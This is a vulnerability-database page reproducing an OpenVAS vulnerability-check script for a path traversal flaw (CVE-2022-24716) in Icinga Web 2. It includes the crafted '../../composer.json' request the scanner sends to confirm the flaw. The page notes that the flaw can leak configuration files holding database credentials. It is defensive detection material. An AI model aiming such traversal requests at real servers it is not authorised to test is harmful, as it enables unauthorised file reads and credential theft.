Lucene search
+L

Icinga Web 2 2.9.x < 2.9.6 Path Traversal Vulnerability - Active Check

🗓️ 09 Mar 2022 00:00:00Reported by Copyright (C) 2022 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 22 Views

Icinga Web 2 2.9.x < 2.9.6 Path Traversal Vulnerability - Active Check, Unauthenticated users can leak local system file

Related
Refs
Code
# SPDX-FileCopyrightText: 2022 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:icinga:icingaweb2";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.170045");
  script_version("2025-05-06T05:40:10+0000");
  script_tag(name:"last_modification", value:"2025-05-06 05:40:10 +0000 (Tue, 06 May 2025)");
  script_tag(name:"creation_date", value:"2022-03-09 12:28:35 +0000 (Wed, 09 Mar 2022)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-03-14 13:45:00 +0000 (Mon, 14 Mar 2022)");

  script_cve_id("CVE-2022-24716");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Icinga Web 2 2.9.x < 2.9.6 Path Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2022 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_icinga_icingaweb2_consolidation.nasl");
  script_mandatory_keys("icinga/icingaweb2/http/detected");
  script_require_ports("Services/www", 443);

  script_tag(name:"summary", value:"Icinga Web 2 is prone to a path traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Unauthenticated users can leak the contents of files of the
  local system accessible to the web-server user, including icingaweb2 configuration files with
  database credentials.");

  script_tag(name:"affected", value:"Icinga Web 2 version 2.9.x through 2.9.5.");

  script_tag(name:"solution", value:"Update to version 2.9.6 or later.");

  script_xref(name:"URL", value:"https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw");


  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

urls =  make_array(
  "/lib/icinga/icinga-php-library/", "Icinga Web 2 - bundled Icinga PHP libraries",
  "/lib/icinga/icinga-php-thirdparty/", "Icinga Web 2 - Bundle for all 3rd party PHP libraries");

vulnPath = "../../composer.json";

foreach url (keys(urls)) {
  payload = dir + url + vulnPath;
  pattern = urls[url];
  if (http_vuln_check(port: port, url: payload, pattern: pattern, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: payload);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 May 2025 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 3.17.5
EPSS0.89378
SSVC
22